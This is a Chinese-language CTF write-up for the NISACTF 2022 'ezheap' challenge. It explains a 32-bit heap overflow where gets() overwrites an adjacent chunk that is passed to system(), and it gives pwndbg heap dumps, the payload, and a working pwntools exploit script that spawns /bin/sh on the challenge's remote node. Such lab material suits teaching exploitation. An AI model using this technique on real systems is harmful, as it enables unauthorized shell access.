[NISACTF 2022]ezheap

简单的堆溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *command; // [esp+8h] [ebp-10h]
  char *s; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  s = (char *)malloc(0x16u);
  command = (char *)malloc(0x16u);
  puts("Input:");
  gets(s);
  system(command);
  return 0;
}

查看 mian 函数,发现存在堆溢出, debug 看一下

.text:08048588                 call    _gets
pwndbg> heap
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.

Allocated chunk | PREV_INUSE
Addr: 0x80fc008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x80fc198
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x80fc1b8
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x80fc1d8
Size: 0x21e28 (with flag bits: 0x21e29)

pwndbg> x/wx 0x80fc198
0x80fc198:      0x00000000
pwndbg> x/40wx 0x80fc198
0x80fc198:      0x00000000      0x00000021      0x00000000      0x00000000
0x80fc1a8:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc1b8:      0x00000000      0x00000021      0x00000000      0x00000000
0x80fc1c8:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc1d8:      0x00000000      0x00021e29      0x00000000      0x00000000
0x80fc1e8:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc1f8:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc208:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc218:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc228:      0x00000000      0x00000000      0x00000000      0x00000000

构造 payload 覆盖 command 使其为 /bin/sh\x00

payload = cyclic(0x18 + 0x4) + p32(0x21) + b"/bin/sh\x00"
pwndbg> x/40wx 0x80fc198
0x80fc198:      0x00000000      0x00000021      0x61616161      0x61616162
0x80fc1a8:      0x61616163      0x61616164      0x61616165      0x61616166
0x80fc1b8:      0x61616167      0x00000021      0x6e69622f      0x0068732f
0x80fc1c8:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc1d8:      0x00000000      0x00021e29      0x00000000      0x00000000
0x80fc1e8:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc1f8:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc208:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc218:      0x00000000      0x00000000      0x00000000      0x00000000
0x80fc228:      0x00000000      0x00000000      0x00000000      0x00000000

最终 get shell

from pwn import *

context.arch = 'i386'
context.os = 'linux'
context.log_level = 'debug'

# elf = ELF()
# libc = ELF()

# io = process('./pwn')
io = remote("node5.anna.nssctf.cn",20642)

# io = gdb.debug('./pwn', gdbscript='set pagination off\nb *0x08048588\nc')

io.recvuntil(b"Input:\n")

payload = cyclic(0x18 + 0x4) + p32(0x21) + b"/bin/sh\x00"

io.sendline(payload)

io.interactive()